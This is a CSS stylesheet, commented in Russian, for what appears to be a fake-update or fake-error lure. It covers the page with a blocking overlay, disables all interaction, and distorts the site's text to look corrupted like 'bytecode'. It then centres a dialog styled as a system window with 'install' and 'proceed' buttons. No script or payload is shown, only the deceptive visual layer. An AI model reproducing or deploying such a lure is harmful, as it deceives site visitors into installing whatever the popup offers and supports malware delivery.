/* Затемнение */
#overlay-blocker-v4 {
    position: fixed;
    top: 0;
    left: 0;
    width: 100vw;
    height: 100vh;
    background-color: rgba(0, 0, 0, 0.7);
    z-index: 9999;
    pointer-events: auto; 
    display: block;
}

/* Эффект байткода (без тряски) */
body > *:not(#overlay-blocker-v4):not(.popup-window) {
    pointer-events: none !important;
    user-select: none;
    font-family: "Courier New", "MS Gothic", "Wingdings", monospace !important;
    font-weight: bold;
    filter: blur(0.5px);
    text-shadow: 2px 0 0 rgba(0,0,0,0.1), -2px 0 0 rgba(255,255,255,0.1);
    letter-spacing: -2px !important;
    word-spacing: 5px !important;
    transform: translateY(-2px) skewX(-4deg);
}

body > *:not(#overlay-blocker-v4):not(.popup-window) * {
    font-family: inherit !important;
    letter-spacing: inherit !important;
    word-spacing: inherit !important;
    filter: inherit !important;
    text-shadow: inherit !important;
    transform: inherit !important;
    background: transparent !important;
}

/* Дизайн окна */
.popup-window {
    position: fixed;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    background: #ffffff;
    z-index: 10000;
    width: 480px;
    max-width: 95%;
    font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
    box-shadow: 0 10px 40px rgba(0,0,0,0.5);
    border: 1px solid #d1d1d1;
    border-radius: 8px;
    overflow: hidden;
    text-align: left;
}

.popup-header {
    background: #f1f1f1;
    padding: 10px 15px;
    font-size: 13px;
    font-weight: 600;
    color: #333;
    border-bottom: 1px solid #d1d1d1;
    cursor: default;
}

.popup-body {
    padding: 25px 30px 30px 30px;
}

.popup-body h2 {
    margin: 0 0 10px 0;
    font-size: 20px;
    font-weight: 600;
    color: #202124;
}

.popup-body p {
    margin: 5px 0;
    line-height: 1.5;
    color: #3c4043;
    font-size: 14px;
}

.popup-buttons {
    margin-top: 20px;
    display: flex;
    justify-content: flex-end;
}

#btn-install-v4, #btn-proceed-v4 {
    background: #1a73e8;
    color: white;
    border: none;
    padding: 8px 30px;
    border-radius: 4px;
    cursor: pointer;
    font-weight: 500;
    font-size: 14px;
    transition: background 0.2s;
}

#btn-install-v4:hover, #btn-proceed-v4:hover {
    background: #1765cc;
}